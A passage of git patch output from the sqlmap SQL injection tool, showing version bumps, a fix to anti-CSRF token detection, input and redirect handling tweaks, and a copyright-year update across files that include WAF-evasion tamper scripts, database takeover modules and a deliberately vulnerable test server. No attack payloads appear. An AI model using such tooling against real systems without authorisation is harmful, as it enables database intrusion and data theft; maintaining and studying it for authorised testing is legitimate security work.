_ in ("Permission denied", "metasploit")): + errMsg = "permission error occurred while using Metasploit" + logger.critical(errMsg) + raise SystemExit + elif "Read-only file system" in excMsg: errMsg = "output device is mounted as read-only" logger.critical(errMsg) From bcb94827240ccaa28f1cd1cec236d3eebc89d401 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Dec 2019 15:20:09 +0100 Subject: [PATCH 052/159] Fixes #4048 --- lib/core/settings.py | 2 +- lib/core/target.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 93c57e67a..2f37b6388 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.30" +VERSION = "1.3.12.31" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index d23fbb49d..65028db59 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -401,7 +401,7 @@ def _setRequestParams(): raise SqlmapGenericException(errMsg) if conf.csrfToken: - if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}): + if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}): errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original errMsg += "found in provided GET, POST, Cookie or header values" raise SqlmapGenericException(errMsg) From 4c5cb9e0d46a04a65ea29d09fdf0e68f7736f88b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Dec 2019 15:37:02 +0100 Subject: [PATCH 053/159] Subtle (sneaky) bug removed (related to #4051) - False or '' results with '' --- lib/core/common.py | 4 +++- lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index b6e77c6f3..e88975f7f 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1123,8 +1123,10 @@ def readInput(message, default=None, checkBatch=True, boolean=False): if boolean: retVal = retVal.strip().upper() == 'Y' + else: + retVal = retVal or "" - return retVal or "" + return retVal def setTechnique(technique): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 2f37b6388..2fcd63fca 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.31" +VERSION = "1.3.12.32" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From cf7022b0a0e7d6519019732dbc0dbf19a1be3a58 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Dec 2019 18:18:32 +0100 Subject: [PATCH 054/159] Minor patch (empty input without newline) --- lib/core/common.py | 5 ++++- lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index e88975f7f..377d135fa 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1104,7 +1104,10 @@ def readInput(message, default=None, checkBatch=True, boolean=False): dataToStdout("%s" % message, forceOutput=not kb.wizardMode, bold=True) kb.prependFlag = False - retVal = _input().strip() or default + retVal = _input() + if not retVal: # Note: Python doesn't print newline on empty input + dataToStdout("\n") + retVal = retVal.strip() or default retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal except: try: diff --git a/lib/core/settings.py b/lib/core/settings.py index 2fcd63fca..c57bd2851 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.32" +VERSION = "1.3.12.33" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From e0ecf8c8042b86b38c900c21ffdb2486a469f176 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 31 Dec 2019 11:03:14 +0100 Subject: [PATCH 055/159] Fixes #4056 --- lib/core/settings.py | 2 +- lib/request/redirecthandler.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c57bd2851..7a2fe64b9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.33" +VERSION = "1.3.12.34" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 13c3fb4a1..18bb1285a 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -174,7 +174,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler): except: redurl = None result = fp - fp.read = io.BytesIO("").read + fp.read = io.BytesIO(b"").read else: result = fp From 4833e408241948bc2aea7661a563bac1edc9d81a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Jan 2020 13:22:06 +0100 Subject: [PATCH 056/159] Version bump --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7a2fe64b9..7a40fcfe3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.34" +VERSION = "1.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 4efd745b5cb5a96899c587beec14abb5cee20eca Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Jan 2020 13:25:15 +0100 Subject: [PATCH 057/159] Copyright year bump --- LICENSE | 2 +- data/txt/common-columns.txt | 2 +- data/txt/common-files.txt | 2 +- data/txt/common-outputs.txt | 2 +- data/txt/common-tables.txt | 2 +- data/txt/keywords.txt | 2 +- data/txt/user-agents.txt | 2 +- extra/__init__.py | 2 +- extra/beep/__init__.py | 2 +- extra/beep/beep.py | 2 +- extra/cloak/__init__.py | 2 +- extra/cloak/cloak.py | 2 +- extra/dbgtool/__init__.py | 2 +- extra/dbgtool/dbgtool.py | 2 +- extra/shutils/blanks.sh | 2 +- extra/shutils/drei.sh | 2 +- extra/shutils/duplicates.py | 2 +- extra/shutils/junk.sh | 2 +- extra/shutils/modernize.sh | 2 +- extra/shutils/pycodestyle.sh | 2 +- extra/shutils/pydiatra.sh | 2 +- extra/shutils/pyflakes.sh | 2 +- extra/shutils/pypi.sh | 4 ++-- extra/vulnserver/__init__.py | 2 +- extra/vulnserver/vulnserver.py | 2 +- lib/__init__.py | 2 +- lib/controller/__init__.py | 2 +- lib/controller/action.py | 2 +- lib/controller/checks.py | 2 +- lib/controller/controller.py | 2 +- lib/controller/handler.py | 2 +- lib/core/__init__.py | 2 +- lib/core/agent.py | 2 +- lib/core/bigarray.py | 2 +- lib/core/common.py | 2 +- lib/core/compat.py | 2 +- lib/core/convert.py | 2 +- lib/core/data.py | 2 +- lib/core/datatype.py | 2 +- lib/core/decorators.py | 2 +- lib/core/defaults.py | 2 +- lib/core/dicts.py | 2 +- lib/core/dump.py | 2 +- lib/core/enums.py | 2 +- lib/core/exception.py | 2 +- lib/core/gui.py | 4 ++-- lib/core/log.py | 2 +- lib/core/option.py | 2 +- lib/core/optiondict.py | 2 +- lib/core/patch.py | 2 +- lib/core/profiling.py | 2 +- lib/core/readlineng.py | 2 +- lib/core/replication.py | 2 +- lib/core/revision.py | 2 +- lib/core/session.py | 2 +- lib/core/settings.py | 2 +- lib/core/shell.py | 2 +- lib/core/subprocessng.py | 2 +- lib/core/target.py | 2 +- lib/core/testing.py | 2 +- lib/core/threads.py | 2 +- lib/core/unescaper.py | 2 +- lib/core/update.py | 2 +- lib/core/wordlist.py | 2 +- lib/parse/__init__.py | 2 +- lib/parse/banner.py | 2 +- lib/parse/cmdline.py | 2 +- lib/parse/configfile.py | 2 +- lib/parse/handler.py | 2 +- lib/parse/headers.py | 2 +- lib/parse/html.py | 2 +- lib/parse/payloads.py | 2 +- lib/parse/sitemap.py | 2 +- lib/request/__init__.py | 2 +- lib/request/basic.py | 2 +- lib/request/basicauthhandler.py | 2 +- lib/request/chunkedhandler.py | 2 +- lib/request/comparison.py | 2 +- lib/request/connect.py | 2 +- lib/request/direct.py | 2 +- lib/request/dns.py | 2 +- lib/request/httpshandler.py | 2 +- lib/request/inject.py | 2 +- lib/request/methodrequest.py | 2 +- lib/request/pkihandler.py | 2 +- lib/request/rangehandler.py | 2 +- lib/request/redirecthandler.py | 2 +- lib/request/templates.py | 2 +- lib/takeover/__init__.py | 2 +- lib/takeover/abstraction.py | 2 +- lib/takeover/icmpsh.py | 2 +- lib/takeover/metasploit.py | 2 +- lib/takeover/registry.py | 2 +- lib/takeover/udf.py | 2 +- lib/takeover/web.py | 2 +- lib/takeover/xp_cmdshell.py | 2 +- lib/techniques/__init__.py | 2 +- lib/techniques/blind/__init__.py | 2 +- lib/techniques/blind/inference.py | 2 +- lib/techniques/dns/__init__.py | 2 +- lib/techniques/dns/test.py | 2 +- lib/techniques/dns/use.py | 2 +- lib/techniques/error/__init__.py | 2 +- lib/techniques/error/use.py | 2 +- lib/techniques/union/__init__.py | 2 +- lib/techniques/union/test.py | 2 +- lib/techniques/union/use.py | 2 +- lib/utils/__init__.py | 2 +- lib/utils/api.py | 2 +- lib/utils/brute.py | 2 +- lib/utils/crawler.py | 2 +- lib/utils/deps.py | 2 +- lib/utils/getch.py | 2 +- lib/utils/har.py | 2 +- lib/utils/hash.py | 2 +- lib/utils/hashdb.py | 2 +- lib/utils/httpd.py | 2 +- lib/utils/pivotdumptable.py | 2 +- lib/utils/progress.py | 2 +- lib/utils/purge.py | 2 +- lib/utils/safe2bin.py | 2 +- lib/utils/search.py | 2 +- lib/utils/sqlalchemy.py | 2 +- lib/utils/timeout.py | 2 +- lib/utils/versioncheck.py | 2 +- lib/utils/xrange.py | 2 +- plugins/__init__.py | 2 +- plugins/dbms/__init__.py | 2 +- plugins/dbms/access/__init__.py | 2 +- plugins/dbms/access/connector.py | 2 +- plugins/dbms/access/enumeration.py | 2 +- plugins/dbms/access/filesystem.py | 2 +- plugins/dbms/access/fingerprint.py | 2 +- plugins/dbms/access/syntax.py | 2 +- plugins/dbms/access/takeover.py | 2 +- plugins/dbms/db2/__init__.py | 2 +- plugins/dbms/db2/connector.py | 2 +- plugins/dbms/db2/enumeration.py | 2 +- plugins/dbms/db2/filesystem.py | 2 +- plugins/dbms/db2/fingerprint.py | 2 +- plugins/dbms/db2/syntax.py | 2 +- plugins/dbms/db2/takeover.py | 2 +- plugins/dbms/firebird/__init__.py | 2 +- plugins/dbms/firebird/connector.py | 2 +- plugins/dbms/firebird/enumeration.py | 2 +- plugins/dbms/firebird/filesystem.py | 2 +- plugins/dbms/firebird/fingerprint.py | 2 +- plugins/dbms/firebird/syntax.py | 2 +- plugins/dbms/firebird/takeover.py | 2 +- plugins/dbms/h2/__init__.py | 2 +- plugins/dbms/h2/connector.py | 2 +- plugins/dbms/h2/enumeration.py | 2 +- plugins/dbms/h2/filesystem.py | 2 +- plugins/dbms/h2/fingerprint.py | 2 +- plugins/dbms/h2/syntax.py | 2 +- plugins/dbms/h2/takeover.py | 2 +- plugins/dbms/hsqldb/__init__.py | 2 +- plugins/dbms/hsqldb/connector.py | 2 +- plugins/dbms/hsqldb/enumeration.py | 2 +- plugins/dbms/hsqldb/filesystem.py | 2 +- plugins/dbms/hsqldb/fingerprint.py | 2 +- plugins/dbms/hsqldb/syntax.py | 2 +- plugins/dbms/hsqldb/takeover.py | 2 +- plugins/dbms/informix/__init__.py | 2 +- plugins/dbms/informix/connector.py | 2 +- plugins/dbms/informix/enumeration.py | 2 +- plugins/dbms/informix/filesystem.py | 2 +- plugins/dbms/informix/fingerprint.py | 2 +- plugins/dbms/informix/syntax.py | 2 +- plugins/dbms/informix/takeover.py | 2 +- plugins/dbms/maxdb/__init__.py | 2 +- plugins/dbms/maxdb/connector.py | 2 +- plugins/dbms/maxdb/enumeration.py | 2 +- plugins/dbms/maxdb/filesystem.py | 2 +- plugins/dbms/maxdb/fingerprint.py | 2 +- plugins/dbms/maxdb/syntax.py | 2 +- plugins/dbms/maxdb/takeover.py | 2 +- plugins/dbms/mssqlserver/__init__.py | 2 +- plugins/dbms/mssqlserver/connector.py | 2 +- plugins/dbms/mssqlserver/enumeration.py | 2 +- plugins/dbms/mssqlserver/filesystem.py | 2 +- plugins/dbms/mssqlserver/fingerprint.py | 2 +- plugins/dbms/mssqlserver/syntax.py | 2 +- plugins/dbms/mssqlserver/takeover.py | 2 +- plugins/dbms/mysql/__init__.py | 2 +- plugins/dbms/mysql/connector.py | 2 +- plugins/dbms/mysql/enumeration.py | 2 +- plugins/dbms/mysql/filesystem.py | 2 +- plugins/dbms/mysql/fingerprint.py | 2 +- plugins/dbms/mysql/syntax.py | 2 +- plugins/dbms/mysql/takeover.py | 2 +- plugins/dbms/oracle/__init__.py | 2 +- plugins/dbms/oracle/connector.py | 2 +- plugins/dbms/oracle/enumeration.py | 2 +- plugins/dbms/oracle/filesystem.py | 2 +- plugins/dbms/oracle/fingerprint.py | 2 +- plugins/dbms/oracle/syntax.py | 2 +- plugins/dbms/oracle/takeover.py | 2 +- plugins/dbms/postgresql/__init__.py | 2 +- plugins/dbms/postgresql/connector.py | 2 +- plugins/dbms/postgresql/enumeration.py | 2 +- plugins/dbms/postgresql/filesystem.py | 2 +- plugins/dbms/postgresql/fingerprint.py | 2 +- plugins/dbms/postgresql/syntax.py | 2 +- plugins/dbms/postgresql/takeover.py | 2 +- plugins/dbms/sqlite/__init__.py | 2 +- plugins/dbms/sqlite/connector.py | 2 +- plugins/dbms/sqlite/enumeration.py | 2 +- plugins/dbms/sqlite/filesystem.py | 2 +- plugins/dbms/sqlite/fingerprint.py | 2 +- plugins/dbms/sqlite/syntax.py | 2 +- plugins/dbms/sqlite/takeover.py | 2 +- plugins/dbms/sybase/__init__.py | 2 +- plugins/dbms/sybase/connector.py | 2 +- plugins/dbms/sybase/enumeration.py | 2 +- plugins/dbms/sybase/filesystem.py | 2 +- plugins/dbms/sybase/fingerprint.py | 2 +- plugins/dbms/sybase/syntax.py | 2 +- plugins/dbms/sybase/takeover.py | 2 +- plugins/generic/__init__.py | 2 +- plugins/generic/connector.py | 2 +- plugins/generic/custom.py | 2 +- plugins/generic/databases.py | 2 +- plugins/generic/entries.py | 2 +- plugins/generic/enumeration.py | 2 +- plugins/generic/filesystem.py | 2 +- plugins/generic/fingerprint.py | 2 +- plugins/generic/misc.py | 2 +- plugins/generic/search.py | 2 +- plugins/generic/syntax.py | 2 +- plugins/generic/takeover.py | 2 +- plugins/generic/users.py | 2 +- sqlmap.py | 2 +- sqlmapapi.py | 2 +- tamper/__init__.py | 2 +- tamper/apostrophemask.py | 2 +- tamper/apostrophenullencode.py | 2 +- tamper/appendnullbyte.py | 2 +- tamper/base64encode.py | 2 +- tamper/between.py | 2 +- tamper/bluecoat.py | 2 +- tamper/chardoubleencode.py | 2 +- tamper/charencode.py | 2 +- tamper/charunicodeencode.py | 2 +- tamper/charunicodeescape.py | 2 +- tamper/commalesslimit.py | 2 +- tamper/commalessmid.py | 2 +- tamper/commentbeforeparentheses.py | 2 +- tamper/concat2concatws.py | 2 +- tamper/equaltolike.py | 2 +- tamper/escapequotes.py | 2 +- tamper/greatest.py | 2 +- tamper/halfversionedmorekeywords.py | 2 +- tamper/hex2char.py | 2 +- tamper/htmlencode.py | 2 +- tamper/ifnull2casewhenisnull.py | 2 +- tamper/ifnull2ifisnull.py | 2 +- tamper/informationschemacomment.py | 2 +- tamper/least.py | 2 +- tamper/lowercase.py | 2 +- tamper/luanginx.py | 2 +- tamper/modsecurityversioned.py | 2 +- tamper/modsecurityzeroversioned.py | 2 +- tamper/multiplespaces.py | 2 +- tamper/overlongutf8.py | 2 +- tamper/overlongutf8more.py | 2 +- tamper/percentage.py | 2 +- tamper/plus2concat.py | 2 +- tamper/plus2fnconcat.py | 2 +- tamper/randomcase.py | 2 +- tamper/randomcomments.py | 2 +- tamper/sp_password.py | 2 +- tamper/space2comment.py | 2 +- tamper/space2dash.py | 2 +- tamper/space2hash.py | 2 +- tamper/space2morecomment.py | 2 +- tamper/space2morehash.py | 2 +- tamper/space2mssqlblank.py | 2 +- tamper/space2mssqlhash.py | 2 +- tamper/space2mysqlblank.py | 2 +- tamper/space2mysqldash.py | 2 +- tamper/space2plus.py | 2 +- tamper/space2randomblank.py | 2 +- tamper/substring2leftright.py | 2 +- tamper/symboliclogical.py | 2 +- tamper/unionalltounion.py | 2 +- tamper/unmagicquotes.py | 2 +- tamper/uppercase.py | 2 +- tamper/varnish.py | 2 +- tamper/versionedkeywords.py | 2 +- tamper/versionedmorekeywords.py | 2 +- tamper/xforwardedfor.py | 2 +- 292 files changed, 294 insertions(+), 294 deletions(-) diff --git a/LICENSE b/LICENSE index da63e45d6..3fd5aa775 100644 --- a/LICENSE +++ b/LICENSE @@ -1,7 +1,7 @@ COPYING -- Describes the terms under which sqlmap is distributed. A copy of the GNU General Public License (GPL) is appended to this file. -sqlmap is (C) 2006-2019 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. +sqlmap is (C) 2006-2020 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/data/txt/common-columns.txt b/data/txt/common-columns.txt index 16f7e8c7c..6b47653ea 100644 --- a/data/txt/common-columns.txt +++ b/data/txt/common-columns.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission id diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt index 8db048a6b..92f64688e 100644 --- a/data/txt/common-files.txt +++ b/data/txt/common-files.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Reference: https://gist.github.com/sckalath/78ad449346171d29241a diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt index 874bd83e2..f5292688b 100644 --- a/data/txt/common-outputs.txt +++ b/data/txt/common-outputs.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission [Banners] diff --git a/data/txt/common-tables.txt b/data/txt/common-tables.txt index 12c210c29..7f111c621 100644 --- a/data/txt/common-tables.txt +++ b/data/txt/common-tables.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission users diff --git a/data/txt/keywords.txt b/data/txt/keywords.txt index 0dbc046b0..8113c553c 100644 --- a/data/txt/keywords.txt +++ b/data/txt/keywords.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) diff --git a/data/txt/user-agents.txt b/data/txt/user-agents.txt index 488a09d47..5b0adbc05 100644 --- a/data/txt/user-agents.txt +++ b/data/txt/user-agents.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Opera diff --git a/extra/__init__.py b/extra/__init__.py index c654cbef7..a1e6b4789 100644 --- a/extra/__init__.py +++ b/extra/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py index c654cbef7..a1e6b4789 100644 --- a/extra/beep/__init__.py +++ b/extra/beep/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/beep/beep.py b/extra/beep/beep.py index 88c042d52..7a866bff0 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -3,7 +3,7 @@ """ beep.py - Make a beep sound -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py index c654cbef7..a1e6b4789 100644 --- a/extra/cloak/__init__.py +++ b/extra/cloak/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index 345a061d1..860f4fde3 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -3,7 +3,7 @@ """ cloak.py - Simple file encryption/compression utility -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py index c654cbef7..a1e6b4789 100644 --- a/extra/dbgtool/__init__.py +++ b/extra/dbgtool/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index 30ae5e837..4d7352557 100644 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -3,7 +3,7 @@ """ dbgtool.py - Portable executable to ASCII debug script converter -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/shutils/blanks.sh b/extra/shutils/blanks.sh index 9813f9a10..59670fbdb 100755 --- a/extra/shutils/blanks.sh +++ b/extra/shutils/blanks.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Removes trailing spaces from blank lines inside project files diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh index 85d40379e..f73027a30 100755 --- a/extra/shutils/drei.sh +++ b/extra/shutils/drei.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Stress test against Python3 diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py index 7ffe0d444..158d0a457 100755 --- a/extra/shutils/duplicates.py +++ b/extra/shutils/duplicates.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Removes duplicate entries in wordlist like files diff --git a/extra/shutils/junk.sh b/extra/shutils/junk.sh index 57ff21184..5d6e298b5 100755 --- a/extra/shutils/junk.sh +++ b/extra/shutils/junk.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null diff --git a/extra/shutils/modernize.sh b/extra/shutils/modernize.sh index ac5cab002..10f84244f 100755 --- a/extra/shutils/modernize.sh +++ b/extra/shutils/modernize.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # sudo pip install modernize diff --git a/extra/shutils/pycodestyle.sh b/extra/shutils/pycodestyle.sh index 53acf30f9..7136ecee9 100755 --- a/extra/shutils/pycodestyle.sh +++ b/extra/shutils/pycodestyle.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle) diff --git a/extra/shutils/pydiatra.sh b/extra/shutils/pydiatra.sh index 3b560004a..a299cf853 100755 --- a/extra/shutils/pydiatra.sh +++ b/extra/shutils/pydiatra.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs py2diatra on all python files (prerequisite: pip install pydiatra) diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh index cbdbe80c9..8f22c5e2c 100755 --- a/extra/shutils/pyflakes.sh +++ b/extra/shutils/pyflakes.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index 016853a06..7e9892d19 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -67,7 +67,7 @@ cat > sqlmap/__init__.py << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/vulnserver/__init__.py b/extra/vulnserver/__init__.py index c654cbef7..a1e6b4789 100644 --- a/extra/vulnserver/__init__.py +++ b/extra/vulnserver/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 3e2345076..d14dbc94a 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -3,7 +3,7 @@ """ vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes) -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/__init__.py b/lib/__init__.py index 